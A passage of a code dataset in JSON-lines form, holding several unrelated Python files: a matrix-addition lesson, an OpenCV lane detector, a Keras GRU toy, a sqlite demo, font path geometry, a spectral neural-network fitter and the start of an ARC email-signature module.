выгрузить полученную сумму в result, форматирование для вывода не в одну строку, а в вид марицы\n result += ' '.join([str(i) for i in summed_line]) + '\\n'\n else:\n return 'Problems' # если еще какие-то проблемы - очень информативно уведомляю пользователя\n return result # отдам результат сложения и форматирования матриц\n\n def __str__(self): # если передали в аргумент только 1 матрицу - ее и выведу при обращени к экземпляру класса\n return \"\\n\".join([\" \".join([str(number) for number in element]) for element in self.matrix_source])\n\n\nmatrix_0 = Matrix([[14, 6], [18, 21], [52, 11], [74, 93]]) # инициализация первой матрицы\nmatrix_1 = Matrix([[17, 21], [52, 5], [32, 6], [3, 7]]) # инициализация второй матрицы\n#\nprint(f'Одна матрица: \\n{matrix_0}')\nprint(f'Сумма двух матриц: \\n{matrix_0 + matrix_1}')\n\n# ска, я уже забыл зачем эту муть породил\n# complicated_for_two_matrix_input = [[x + y for x, y in zip(one, two)] for (one, two) in zip(self.nums1, self.nums2)]\n","sub_path":"lesson_07/lesson_07_01.py","file_name":"lesson_07_01.py","file_ext":"py","file_size_in_byte":4122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"412880278","text":"import cv2\nimport numpy as np\ntry:\n import rospy\n from sensor_msgs.msg import Image\n from cv_bridge import CvBridge\nexcept:\n pass\n\nclass LineDetector:\n\n def __init__(self, topic, ros_node=True):\n self.ros_node = ros_node\n self.image_width = 640\n self.scan_width, self.scan_height = 400, 40\n self.area_width, self.area_height = 4, 4\n area = self.area_width * self.area_height\n self.pxl_cnt_threshold = area * 0.1\n self.linescan_offset = 15\n self.roi_vertical_pos = 300\n self.left, self.right = -1, -1\n\n self.before = [0, 0, 0]\n\n self.row_begin = (self.scan_height - self.area_height) // 2\n self.row_end = self.row_begin + self.area_height\n\n self.cam_img = np.zeros(shape=(480, 640, 3), dtype=np.uint8)\n self.mask = np.zeros(shape=(self.scan_height, self.image_width),\n dtype=np.uint8)\n self.edge = np.zeros(shape=(self.scan_height, self.image_width),\n dtype=np.uint8)\n if self.ros_node:\n self.bridge = CvBridge()\n rospy.Subscriber(topic, Image, self.conv_image)\n self.recorder = cv2.VideoWriter(\n '/home/nvidia/xycar/src/auto_drive/record.avi',\n cv2.VideoWriter_fourcc(*'MJPG'),\n 30,\n (640, 480)\n )\n\n def __del__(self):\n if self.ros_node:\n self.recorder.release()\n cv2.destroyAllWindows()\n\n def conv_image(self, data):\n if self.ros_node:\n self.cam_img = self.bridge.imgmsg_to_cv2(data, 'bgr8')\n self.recorder.write(self.cam_img)\n else:\n self.cam_img = data\n\n v = self.roi_vertical_pos\n roi = self.cam_img[v:v + self.scan_height, :]\n\n hsv = cv2.cvtColor(roi, cv2.COLOR_BGR2HSV)\n avg_value = np.average(hsv[:, :, 2])\n value_threshold = avg_value * 1.0\n lbound = np.array([0, 0, value_threshold], dtype=np.uint8)\n ubound = np.array([100, 255, 255], dtype=np.uint8)\n self.mask = cv2.inRange(hsv, lbound, ubound)\n\n gray = cv2.cvtColor(roi, cv2.COLOR_BGR2GRAY)\n blur = cv2.GaussianBlur(gray, (5, 5), 0)\n self.edge = cv2.Canny(blur, 60, 70)\n self.linesP = cv2.HoughLinesP(self.edge, 1, np.pi / 180, 50, None, 50, 10)\n\n self.cdst = cv2.cvtColor(self.edge, cv2.COLOR_GRAY2BGR)\n self.cdstP = np.copy(self.cdst)\n\n if self.linesP is not None:\n for i in range(0, len(self.linesP)):\n l = self.linesP[i][0]\n cv2.line(self.cdstP, (l[0], l[1]), (l[2], l[3]), (0, 0, 255), 3, cv2.LINE_AA)\n\n self.finalMask = cv2.inRange(self.cdstP, np.array([0, 0, 255], dtype=np.uint8), np.array(\n [0, 0, 255], dtype=np.uint8))\n\n def detect_lines(self):\n self.left, self.right = -1, -1\n for l in range(200, self.area_width, -1):\n area = self.finalMask[self.row_begin:self.row_end, l - self.area_width:l]\n if cv2.countNonZero(area) > self.pxl_cnt_threshold:\n self.left = l\n break\n for r in range(440, self.image_width - self.area_width):\n area = self.finalMask[self.row_begin:self.row_end, r:r + self.area_width]\n if cv2.countNonZero(area) > self.pxl_cnt_threshold:\n self.right = r\n break\n return self.left, self.right\n\n def show_images(self, left, right):\n # Display images for debugging purposes;\n # do not forget to call cv2.waitKey().\n\n cv2.waitKey(1)\n mid = (left + right) // 2\n #print(left, right, mid)\n if left == -1 and right == -1:\n left, right, mid = self.before[0], self.before[1], self.before[2]\n # print(self.before)\n\n if right != -1 and (self.before[2]-mid) > 5:\n mid = (mid + self.before[2]) * 1//2+5\n # print((mid + self.before[2]) * 1//2+5)\n\n #if left == -1:\n # print('turn left' , mid - 300)\n #elif right == -1:\n #print('turn right', mid-15)\n #elif mid > 325:\n #print('turn right', mid - 325)\n #elif mid<295:\n #print('turn left', mid - 295)\n\n self.before[0], self.before[1], self.before[2] = left, right, mid\n\n cv2.imshow(\"origin\", self.cam_img)\n cv2.imshow(\"view\", self.mask)\n cv2.imshow('egde', self.edge)\n cv2.imshow('1', self.finalMask)\n\n","sub_path":"linedetector.py","file_name":"linedetector.py","file_ext":"py","file_size_in_byte":4488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"233838689","text":"import numpy as np\nfrom keras.models import Sequential\nfrom keras.layers.core import Activation, Dense\nfrom keras.layers import Dense, Dropout\nfrom keras.layers import Embedding,TimeDistributed\nfrom keras.layers import LSTM,GRU\n\n\nx = [[[0, 1], [1, 1], [1, 1], [0, 1], [1, 0], [1, 0], [1, 1], [1, 0]],[ [0, 0], [0, 1], [1, 1], [0, 1], [1, 0], [1, 0], [1, 1], [1, 0]]]\ny = [[[1, 0, 0, 1, 1, 1, 0, 1],[0, 1, 0, 1, 1, 1, 0, 1]]]\n\n# (sequences, timesteps, dimensions).\nX = np.array(x).reshape((2,8,2))\n# print(X)\nY = np.array(y).reshape(2,8,1)\nprint(Y)\n# build the model: 2 stacked LSTM\nprint('Build model...')\nmodel = Sequential()\nmodel.add(GRU(output_dim = 1, input_length = 8, input_dim = 2, return_sequences=True))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(64))\n# model.add(Dense(1))\nmodel.add(TimeDistributed(Dense(1, activation='tanh')))\nmodel.compile(loss = 'mae', optimizer = 'adam', metrics = ['accuracy'])\n\n\nmodel.fit(X, Y, epochs=150)\n\nprint(model.predict(X).round())","sub_path":"pythonML/notebooks/xor/xor_lstm_keras.py","file_name":"xor_lstm_keras.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"61819181","text":"__author__ = 'Administrator'\n\nimport sqlite3\n\nconn = sqlite3.connect('test2.db')\n\ncusor = conn.cursor()\n\ncusor.execute('DROP TABLE user')\ncusor.execute('create table user ( id varchar(20) primary key, name varchar(20))')\ncusor.execute('insert into user (id, name) values (\\'1\\', \\'Michael\\')')\nprint (cusor.rowcount)\ncusor.execute('select * from user where id=?', '1')\nvalues = cusor.fetchall()\nprint(values)\ncusor.close()\nconn.close()\n","sub_path":"MyPython/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"50971699","text":"import attr\nfrom copy import copy\nfrom fontTools.misc import bezierTools\nimport pprint\nfrom tfont.objects.point import Point\nfrom tfont.util import bezierMath\nfrom tfont.util.tracker import PathPointsList\nfrom typing import Any, Dict, List, Optional, Tuple\nfrom uuid import uuid4\n\n\n@attr.s(cmp=False, repr=False, slots=True)\nclass Path:\n _points: List[Point] = attr.ib(default=attr.Factory(list))\n\n _extraData: Optional[Dict] = attr.ib(default=None)\n\n _bounds: Optional[Tuple] = attr.ib(default=None, init=False)\n _graphicsPath: Optional[Any] = attr.ib(default=None, init=False)\n _parent: Optional[Any] = attr.ib(default=None, init=False)\n\n def __attrs_post_init__(self):\n for point in self._points:\n point._parent = self\n\n def __bool__(self):\n return bool(self._points)\n\n def __repr__(self):\n name = self.__class__.__name__\n width = 80 - len(name) - 2\n return \"%s(%s)\" % (\n name, pprint.pformat(self._points, width=width).replace(\n \"\\n \", \"\\n \" + \" \" * len(name))) # pad indent\n\n # __setattr__ not needed thus far\n\n @property\n def bounds(self):\n bounds = self._bounds\n if bounds is None and self._points:\n # TODO: we could have a rect type, in tools\n segments = self.segments\n left, bottom, right, top = segments[0].bounds\n for segment in segments:\n l, b, r, t = segment.bounds\n if l < left:\n left = l\n if b < bottom:\n bottom = b\n if r > right:\n right = r\n if t > top:\n top = t\n bounds = self._bounds = (left, bottom, right, top)\n return bounds\n\n @property\n def extraData(self):\n extraData = self._extraData\n if extraData is None:\n extraData = self._extraData = {}\n return extraData\n\n @property\n def graphicsPath(self):\n graphicsPath = self._graphicsPath\n if graphicsPath is None:\n graphicsPath = self._graphicsPath = self.graphicsPathFactory()\n return graphicsPath\n\n @property\n def id(self):\n extraData = self.extraData\n try:\n return extraData[\"id\"]\n except KeyError:\n extraData[\"id\"] = id_ = str(uuid4())\n return id_\n\n @property\n def _id(self):\n return self.extraData.get(\"id\", \"\")\n\n @_id.setter\n def _id(self, value):\n if value:\n self.extraData[\"id\"] = value\n else:\n self.extraData.pop(\"id\", None)\n\n @property\n def open(self):\n points = self._points\n return not points or points[0].type == \"move\"\n\n @property\n def layer(self):\n return self._parent\n\n @property\n def points(self):\n return PathPointsList(self)\n\n @property\n def segments(self):\n return SegmentsList(self.points)\n\n @property\n def selected(self):\n return not any(not point.selected for point in self._points)\n\n @selected.setter\n def selected(self, value):\n for point in self._points:\n point.selected = value\n\n def close(self):\n points = self._points\n if not (points and self.open):\n return\n point = points.pop(0)\n point.smooth = False\n point.type = \"line\"\n points.append(point)\n self.points.applyChange()\n\n def reverse(self):\n points = self._points\n if not points:\n return\n start = points[0]\n type_ = start.type\n closed = type_ != \"move\"\n if closed:\n pivot = points.pop(-1)\n points.reverse()\n points.append(pivot)\n type_ = pivot.type\n else:\n points.reverse()\n for point in points:\n if point.type is not None:\n point.type, type_ = type_, point.type\n # notify\n self.points.applyChange()\n\n def startAt(self, index):\n if self.open:\n # implement for endpoints?\n raise NotImplementedError\n points = self._points\n if not len(points) - index + 1:\n return\n end = points[:index+1]\n if end and end[-1].type is None:\n raise IndexError(\"index %r breaks a segment\" % index)\n points[:] = points[index+1:] + end\n # notify\n self.points.applyChange()\n\n def transform(self, transformation, selectionOnly=False) -> bool:\n if not transformation:\n return\n changed = transformation.transformSequence(\n self._points, selectionOnly=selectionOnly)\n if changed:\n # notify\n self.points.applyChange()\n return changed\n\n\n# TODO use abc superclass\n@attr.s(cmp=False, repr=False, slots=True)\nclass SegmentsList:\n _points: PathPointsList = attr.ib()\n _segments: List[int] = attr.ib(default=attr.Factory(list), init=False)\n\n def __attrs_post_init__(self):\n points = self._points\n segments = self._segments\n start = 0\n for index, point in enumerate(points):\n if point.type is not None:\n segments.append(Segment(points, start, index))\n start = index + 1\n\n def __repr__(self):\n name = self.__class__.__name__\n width = 80 - len(name) - 2\n return \"%s(%s)\" % (\n name, pprint.pformat(self._segments, width=width).replace(\n \"\\n \", \"\\n \" + \" \" * len(name))) # pad indent\n\n def __delitem__(self, index):\n points = self._points\n segments = self._segments\n seg = segments[index]\n stop = seg._end + 1\n del points[seg._start:stop]\n del segments[index]\n size = stop - seg._start\n for seg in segments[index:]:\n seg._start -= size\n seg._end -= size\n\n def __getitem__(self, index):\n return self._segments[index]\n\n def __iter__(self):\n return iter(self._segments)\n\n def __len__(self):\n return len(self._segments)\n\n def __reversed__(self):\n return reversed(self._segments)\n\n def iterfrom(self, start):\n segments = self._segments\n yield from segments[start:]\n yield from segments[:start]\n\n def splitSegment(self, index, t):\n segments = self._segments\n segment = segments[index]\n pts = segment.points\n pts_len = len(pts)\n if pts_len == 2:\n p1, p2 = pts\n p = Point(\n p1.x + (p2.x - p1.x) * t,\n p1.y + (p2.y - p1.y) * t,\n \"line\")\n self._points.insert(segment._start, p)\n newSegment = copy(segment)\n segments.insert(index, newSegment)\n for seg in segments[index+1:]:\n seg._start += 1\n seg._end += 1\n elif pts_len == 4:\n # inline\n p1, p2, p3, p4 = [(p.x, p.y) for p in pts]\n (p1, p2, p3, p4), (p5, p6, p7, p8) = bezierTools.splitCubicAtT(\n p1, p2, p3, p4, t)\n points = self._points\n start = segment._start\n p = points[start]\n p.x, p.y = p6\n p = points[start+1]\n p.x, p.y = p7\n p = points[start+2]\n p.x, p.y = p8\n points[start:start] = [\n Point(*p2), Point(*p3), Point(*p4, \"curve\", smooth=True)]\n newSegment = copy(segment)\n segments.insert(index, newSegment)\n for seg in segments[index+1:]:\n seg._start += 3\n seg._end += 3\n else:\n raise ValueError(\"unattended len %d\" % pts_len)\n return newSegment\n\n\n# inline the math code\n@attr.s(cmp=False, repr=False, slots=True)\nclass Segment:\n _points: PathPointsList = attr.ib()\n _start: int = attr.ib()\n _end: int = attr.ib()\n\n def __repr__(self):\n return \"%s(%d:%d, %r)\" % (\n self.__class__.__name__, self._start, self._end, self.type)\n\n @property\n def bounds(self):\n points = self.points\n pts_len = len(points)\n if pts_len == 1:\n # move\n p = points[0]\n x, y = p.x, p.y\n return x, y, x, y\n elif pts_len == 2:\n # line\n p0, p1 = points[0], points[1]\n left, right = p0.x, p1.x\n if left > right:\n left, right = right, left\n bottom, top = p0.y, p1.y\n if bottom > top:\n bottom, top = top, bottom\n return left, bottom, right, top\n elif pts_len == 4:\n # curve\n return bezierMath.curveBounds(*points)\n else:\n # quads?\n raise NotImplementedError(\n \"cannot compute bounds for %r segment\" % self.type)\n\n @property\n def offCurves(self):\n return self._points[self._start:self._end]\n\n @property\n def offSelected(self) -> Optional[bool]:\n offCurves = self._points[self._start:self._end]\n if offCurves:\n return any(p.selected for p in offCurves)\n\n @property\n def onCurve(self):\n return self._points[self._end]\n\n @property\n def onSelected(self):\n return self._points[self._end].selected\n\n @property\n def path(self):\n return self._points._parent\n\n @property\n def penPoints(self):\n return self._points[self._start:self._end+1]\n\n @property\n def points(self):\n start = self._start - (self._points[self._end].type != \"move\")\n if start < 0: # -:+ slice won't work\n return self._points[start:] + self._points[:self._end+1]\n return self._points[start:self._end+1]\n\n @property\n def selected(self):\n return self._points[self._end].selected and \\\n self._points[self._start].selected\n\n @property\n def type(self):\n return self._points[self._end].type\n\n def intersectLine(self, x1, y1, x2, y2):\n points = self.points\n pts_len = len(points)\n if pts_len == 2:\n # line\n ret = bezierMath.lineIntersection(x1, y1, x2, y2, *points)\n if ret is not None:\n return [ret]\n elif pts_len == 4:\n # curve\n return bezierMath.curveIntersections(x1, y1, x2, y2, *points)\n # move, quads\n return []\n\n # ! this will invalidate the segments\n def intoCurve(self):\n points = self._points\n index = self._end\n onCurve = points[index]\n if onCurve.type == \"line\":\n start = points[self._start-1]\n points.insert(\n index, Point(\n start.x + .65 * (onCurve.x - start.x),\n start.y + .65 * (onCurve.y - start.y),\n ))\n points.insert(\n index, Point(\n start.x + .35 * (onCurve.x - start.x),\n start.y + .35 * (onCurve.y - start.y),\n ))\n onCurve.type = \"curve\"\n\n # ! this will invalidate the segments\n def intoLine(self):\n points = self._points\n end = self._end\n if points[end].type == \"curve\":\n start = self._start\n del points[start:end]\n points[start].type = \"line\"\n\n def projectPoint(self, x, y):\n points = self.points\n pts_len = len(points)\n if pts_len == 2:\n # line\n return bezierMath.lineProjection(x, y, *points)\n elif pts_len == 4:\n # curve\n return bezierMath.curveProjection(x, y, *points)\n return None\n","sub_path":"src/tfont/objects/path.py","file_name":"path.py","file_ext":"py","file_size_in_byte":11655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"214147816","text":"import numpy as np\nimport tensorflow as tf\nfrom laspec.neural_network import NN\nfrom scipy.optimize import minimize, curve_fit\nimport joblib\n\n\ndef leaky_relu(x, alpha=0.01):\n return np.where(x > 0, x, alpha * x)\n\n\ndef elu(x, alpha=0.01):\n return np.where(x > 0, x, alpha(np.exp(x) - 1.))\n\n\nclass SlamPlus:\n def __init__(self, tr_flux, tr_label, tr_weight=None, wave=None):\n # set training set\n self.tr_flux = np.asarray(tr_flux, dtype=float)\n self.tr_label = np.asarray(tr_label, dtype=float)\n self.tr_label_min = np.min(self.tr_label, axis=0)\n self.tr_label_max = np.max(self.tr_label, axis=0)\n self.tr_flux_min = np.min(self.tr_flux, axis=0)\n self.tr_flux_max = np.max(self.tr_flux, axis=0)\n self.tr_flux_scaled = (self.tr_flux - self.tr_flux_min)/(self.tr_flux_max - self.tr_flux_min) - 0.5\n self.tr_label_scaled = (self.tr_label - self.tr_label_min) / (self.tr_label_max - self.tr_label_min) - 0.5\n self.history = None\n self.wave = wave\n\n # set parameters\n assert self.tr_flux.shape[0] == self.tr_label.shape[0]\n assert self.tr_flux.ndim == 2 and self.tr_label.ndim == 2\n self.nstar, self.npix = self.tr_flux.shape\n self.ndim = self.tr_label.shape[1]\n\n # set weight\n if tr_weight is None:\n self.tr_weight = np.ones(self.nstar, dtype=float)\n else:\n self.tr_weight = np.asarray(tr_weight, dtype=float)\n self.nnweights = []\n\n # default parameters\n self.nlayer = 0\n self.activation = \"leakyrelu\"\n self.alpha = 0.\n self.w = 0\n self.b = 0\n self.model = None\n return\n\n def initialize(self, nhidden=(100, 300,), activation=\"leakyrelu\", alpha=0.01):\n from collections.abc import Iterable\n if isinstance(nhidden, Iterable):\n self.nlayer = len(nhidden)\n else:\n assert isinstance(nhidden, int)\n self.nlayer = 1\n self.activation = activation\n self.alpha = alpha\n\n # initialize NN regressor\n self.model = NN(kind=\"slam\", ninput=self.ndim, nhidden=nhidden, noutput=self.npix,\n activation=activation, alpha=alpha)\n self.model.summary()\n\n @staticmethod\n def get_gpu():\n NN.get_gpu()\n return\n\n @staticmethod\n def set_gpu(device=0):\n NN.set_gpu(device=device)\n return\n\n def train(self, test_size=0.1, random_state=0, epochs=1000, batch_size=100, # training parameters\n optimizer=\"adam\", learning_rate=1e-4, loss=\"mae\", metrics=['mse', \"mae\"],\n patience_earlystopping=5, patience_reducelronplateau=3, factor_reducelronplateau=0.5, filepath=\"\",\n ):\n \"\"\" train all pixels \"\"\"\n # set optimizer\n assert optimizer in [\"adam\", \"sgd\"]\n if optimizer == \"adam\":\n optimizer = tf.keras.optimizers.Adam(learning_rate=learning_rate)\n else:\n optimizer = tf.keras.optimizers.SGD(learning_rate=learning_rate)\n # set callbacks\n self.model.set_callbacks(monitor_earlystopping=\"val_loss\",\n patience_earlystopping=patience_earlystopping,\n monitor_modelcheckpoint=\"val_loss\",\n filepath=filepath,\n monitor_reducelronplateau=\"val_loss\",\n patience_reducelronplateau=patience_reducelronplateau,\n factor_reducelronplateau=factor_reducelronplateau)\n # train pixels\n self.history = self.model.train(self.tr_label_scaled, self.tr_flux_scaled,\n batch_size=batch_size, sw=self.tr_weight,\n test_size=test_size, optimizer=optimizer, epochs=epochs,\n loss=loss, metrics=metrics, random_state=random_state)\n # get best model\n if filepath not in [\"\", None]:\n self.model.model = tf.keras.models.load_model(filepath)\n # get weights\n new_weights = self.model.model.get_weights()\n self.w = [new_weights[ilayer * 2].T for ilayer in range(self.nlayer + 1)]\n self.b = [new_weights[ilayer * 2 + 1].reshape(-1, 1) for ilayer in range(self.nlayer + 1)]\n\n return SlamPredictor(self.w, self.b, self.alpha, self.tr_label_min, self.tr_label_max,\n self.tr_flux_min, self.tr_flux_max, self.wave)\n\n\nclass SlamPredictor:\n def __init__(self, w, b, alpha, xmin, xmax, ymin, ymax, wave=None):\n\n self.alpha = alpha\n self.w = w\n self.b = b\n self.xmin = xmin\n self.xmax = xmax\n self.ymin = ymin\n self.ymax = ymax\n self.xmean = .5*(xmin+xmax)\n self.nlayer = len(w) - 1\n self.wave = wave\n\n @property\n def get_coef_dict(self):\n return dict(w=self.w, b=self.b, alpha=self.alpha)\n\n def predict_one_spectrum(self, x):\n \"\"\" predict one spectrum \"\"\"\n # scale label\n xsT = ((np.asarray(x) - self.xmin) / (self.xmax - self.xmin)).reshape(-1, 1) - 0.5\n return (nneval(xsT, self.w, self.b, self.alpha, self.nlayer).reshape(-1) + 0.5) * (\n self.ymax - self.ymin) + self.ymin\n\n def predict_one_spectrum_rv(self, x, rv, left=1, right=1):\n \"\"\" predict one spectrum, with rv \"\"\"\n # scale label\n xsT = ((np.asarray(x) - self.xmin) / (self.xmax - self.xmin)).reshape(-1, 1) - 0.5\n flux = (nneval(xsT, self.w, self.b, self.alpha, self.nlayer).reshape(-1) + 0.5) * (\n self.ymax - self.ymin) + self.ymin\n return np.interp(self.wave, self.wave*(1+rv/299792.458), flux, left=left, right=right)\n\n # def predict_multiple_spectra(self, x):\n # # scale label\n # xs = ((np.asarray(x) - self.xmin) / (self.xmax - self.xmin))\n # # multiple spectra\n # xs = xs.T\n # if self.nlayer == 2:\n # return nneval(xs, self.alpha, self.nlayer).T * (self.ymax-self.ymin) + self.ymin\n # elif self.nlayer == 3:\n # return nneval(self.w, self.b, xs, self.alpha).T * (self.ymax-self.ymin) + self.ymin\n\n def optimize(self, flux_obs, flux_err=None, pw=2, method=\"Nelder-Mead\"):\n return minimize(cost, self.xmean, args=(self, flux_obs, flux_err, pw), method=method)\n\n def curve_fit(self, flux_obs, flux_err=None, p0=None, method=\"lm\", bounds=(-np.inf, np.inf), **kwargs):\n if p0 is None:\n p0 = self.xmean\n return curve_fit(model_func, self, flux_obs, p0=p0, sigma=flux_err, absolute_sigma=True,\n method=method, bounds=bounds, **kwargs)\n\n def curve_fit_multiple(self, flux_obs, flux_err=None, p0=None, method=\"lm\", bounds=(-np.inf, np.inf),\n n_jobs=2, verbose=10, backend=\"loky\", batch_size=10, **kwargs):\n flux_obs = np.asarray(flux_obs)\n nobs = flux_obs.shape[0]\n if flux_err is None:\n flux_err = [None for i in range(nobs)]\n else:\n flux_err = np.asarray(flux_err)\n if p0 is None:\n p0 = self.xmean\n pool = joblib.Parallel(n_jobs=n_jobs, verbose=verbose, backend=backend, batch_size=batch_size)\n res = pool(joblib.delayed(curve_fit)(\n model_func, self, flux_obs[i], p0=p0, sigma=flux_err[i], absolute_sigma=True,\n method=method, bounds=bounds, **kwargs) for i in range(nobs))\n popt = np.array([res[i][0] for i in range(nobs)])\n pcov = np.array([res[i][1] for i in range(nobs)])\n return popt, pcov\n\n\ndef model_func(sp, *args):\n return sp.predict_one_spectrum(np.array(args))\n\n\ndef nneval(xs, w, b, alpha, nlayer):\n if nlayer == 2:\n w0, w1, w2 = w\n b0, b1, b2 = b\n l0 = leaky_relu(np.matmul(w0, xs) + b0, alpha)\n l1 = leaky_relu(np.matmul(w1, l0) + b1, alpha)\n return np.matmul(w2, l1) + b2\n elif nlayer == 3:\n w0, w1, w2, w3 = w\n b0, b1, b2, b3 = b\n l0 = leaky_relu(np.matmul(w0, xs) + b0, alpha)\n l1 = leaky_relu(np.matmul(w1, l0) + b1, alpha)\n l2 = leaky_relu(np.matmul(w2, l1) + b2, alpha)\n return np.matmul(w3, l2) + b3\n else:\n raise ValueError(\"Invalid nlayer={}\".format(nlayer))\n\n\ndef cost(x, sp, flux_obs, flux_err=None, pw=2):\n flux_mod = sp.predict_one_spectrum(x)\n if flux_err is None:\n return .5 * np.sum(np.abs(flux_mod-flux_obs)**pw)\n else:\n return .5 * np.sum((np.abs(flux_mod-flux_obs)/flux_err)**pw)\n\n \n# deprecated\n# def train_one_pixel(x, y, sw, nhidden=(200, 200, 200), activation=\"leakyrelu\", alpha=.01, # NN parameters\n# test_size=0.2, random_state=0, epochs=1000, batch_size=256, # training parameters\n# optimizer=\"adam\", loss=\"mae\", metrics=['mse', ],\n# patience_earlystopping=5, patience_reducelronplateau=3, factor_reducelronplateau=0.5,\n# filepath=\"\",):\n# # initialize NN regressor\n# model = NN(kind=\"slam\", ninput=x.shape[1], nhidden=nhidden, noutput=1, activation=activation, alpha=alpha)\n# # model.summary()\n# # set callbacks\n# model.set_callbacks(monitor_earlystopping=\"val_loss\",\n# patience_earlystopping=patience_earlystopping,\n# monitor_modelcheckpoint=\"val_loss\",\n# filepath=filepath,\n# monitor_reducelronplateau=\"val_loss\",\n# patience_reducelronplateau=patience_reducelronplateau,\n# factor_reducelronplateau=factor_reducelronplateau)\n# # train pixels\n# model.train(x, y, batch_size=batch_size, sw=sw,\n# test_size=test_size, optimizer=optimizer, epochs=epochs,\n# loss=loss, metrics=metrics, random_state=random_state)\n# # ypred = model.predict(x).flatten()\n# if filepath not in [\"\", None]:\n# model = tf.keras.models.load_model(filepath)\n# return model.model.get_weights()\n\n","sub_path":"laspec/slamplus.py","file_name":"slamplus.py","file_ext":"py","file_size_in_byte":10094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"361239809","text":"# This software is provided 'as-is', without any express or implied\n# warranty. In no event will the author be held liable for any damages\n# arising from the use of this software.\n#\n# Permission is granted to anyone to use this software for any purpose,\n# including commercial applications, and to alter it and redistribute it\n# freely, subject to the following restrictions:\n#\n# 1. The origin of this software must not be misrepresented; you must not\n# claim that you wrote the original software. If you use this software\n# in a product, an acknowledgment in the product documentation would be\n# appreciated but is not required.\n# 2. Altered source versions must be plainly marked as such, and must not be\n# misrepresented as being the original software.\n# 3. This notice may not be removed or altered from any source distribution.\n#\n# Copyright (c) 2008 Greg Hewgill http://hewgill.com\n#\n# This has been modified from the original software.\n# Copyright (c) 2011 William Grant \n#\n# This has been modified from the original software.\n# Copyright (c) 2016 Google, Inc.\n# Contact: Brandon Long \n\nimport base64\nimport hashlib\nimport logging\nimport re\nimport time\n\nfrom dkim.canonicalization import (\n CanonicalizationPolicy,\n InvalidCanonicalizationPolicyError,\n Relaxed,\n )\nfrom dkim.crypto import (\n DigestTooLargeError,\n HASH_ALGORITHMS,\n parse_pem_private_key,\n parse_public_key,\n RSASSA_PKCS1_v1_5_sign,\n RSASSA_PKCS1_v1_5_verify,\n UnparsableKeyError,\n )\nfrom dkim.dnsplug import get_txt\nfrom dkim.util import (\n get_default_logger,\n InvalidTagValueList,\n parse_tag_value,\n )\nfrom dkim import (\n bitsize,\n select_headers,\n RE_BTAG,\n hash_headers,\n rfc822_parse,\n text,\n fold,\n DKIM,\n )\n\n__all__ = [\n \"CV_Pass\",\n \"CV_Fail\",\n \"CV_None\",\n \"ARCException\",\n \"KeyFormatError\",\n \"MessageFormatError\",\n \"ParameterError\",\n \"ValidationError\",\n \"ARC\",\n \"sign\",\n \"verify\",\n]\n\nCV_Pass = b'pass'\nCV_Fail = b'fail'\nCV_None = b'none'\n\nclass ARCException(Exception):\n \"\"\"Base class for ARC errors.\"\"\"\n pass\n\nclass KeyFormatError(ARCException):\n \"\"\"Key format error while parsing an RSA public or private key.\"\"\"\n pass\n\nclass MessageFormatError(ARCException):\n \"\"\"RFC822 message format error.\"\"\"\n pass\n\nclass ParameterError(ARCException):\n \"\"\"Input parameter error.\"\"\"\n pass\n\nclass ValidationError(ARCException):\n \"\"\"Validation error.\"\"\"\n pass\n\nclass HashThrough(object):\n def __init__(self, hasher):\n self.data = []\n self.hasher = hasher\n self.name = hasher.name\n\n def update(self, data):\n self.data.append(data)\n return self.hasher.update(data)\n\n def digest(self):\n return self.hasher.digest()\n\n def hexdigest(self):\n return self.hasher.hexdigest()\n\n def hashed(self):\n return b''.join(self.data)\n\ndef validate_arc_signature_fields(sig):\n \"\"\"Validate ARC-Message-Signature fields.\n\n Basic checks for presence and correct formatting of mandatory fields.\n Raises a ValidationError if checks fail, otherwise returns None.\n\n @param sig: A dict mapping field keys to values.\n \"\"\"\n mandatory_fields = (b'i', b'a', b'b', b'bh', b'd', b'h', b's')\n for field in mandatory_fields:\n if field not in sig:\n raise ValidationError(\"arc-message-signature missing %s=\" % field)\n\n if re.match(br\"[\\s0-9A-Za-z+/]+=*$\", sig[b'b']) is None:\n raise ValidationError(\"b= value is not valid base64 (%s)\" % sig[b'b'])\n if re.match(br\"[\\s0-9A-Za-z+/]+=*$\", sig[b'bh']) is None:\n raise ValidationError(\n \"bh= value is not valid base64 (%s)\" % sig[b'bh'])\n now = int(time.time())\n slop = 36000 # 10H leeway for mailers with inaccurate clocks\n t_sign = 0\n if b't' in sig:\n if re.match(br\"\\d+$\", sig[b't']) is None:\n raise ValidationError(\n \"t= value is not a decimal integer (%s)\" % sig[b't'])\n t_sign = int(sig[b't'])\n if t_sign > now + slop:\n raise ValidationError(\"t= value is in the future (%s)\" % sig[b't'])\n\ndef validate_arc_seal_fields(sig):\n \"\"\"Validate ARC-Seal fields.\n\n Basic checks for presence and correct formatting of mandatory fields.\n Raises a ValidationError if checks fail, otherwise returns None.\n\n @param sig: A dict mapping field keys to values.\n \"\"\"\n mandatory_fields = (b'i', b'a', b'b', b'cv', b'd', b's', b't')\n for field in mandatory_fields:\n if field not in sig:\n raise ValidationError(\"arc-seal missing %s=\" % field)\n\n if re.match(br\"[\\s0-9A-Za-z+/]+=*$\", sig[b'b']) is None:\n raise ValidationError(\"b= value is not valid base64 (%s)\" % sig[b'b'])\n if sig[b'cv'] not in (CV_Pass, CV_Fail, CV_None):\n raise ValidationError(\"cv= value is not valid (%s)\" % sig[b'cv'])\n now = int(time.time())\n slop = 36000 # 10H leeway for mailers with inaccurate clocks\n t_sign = 0\n if b't' in sig:\n if re.match(br\"\\d+$\", sig[b't']) is None:\n raise ValidationError(\n \"t= value is not a decimal integer (%s)\" % sig[b't'])\n t_sign = int(sig[b't'])\n if t_sign > now + slop:\n raise ValidationError(\"t= value is in the future (%s)\" % sig[b't'])\n\n#: Hold messages and options during ARC signing and verification.\nclass ARC(object):\n #: Header fields used by ARC\n ARC_HEADERS = (b'arc-seal', b'arc-message-signature', b'arc-authentication-results')\n\n #: 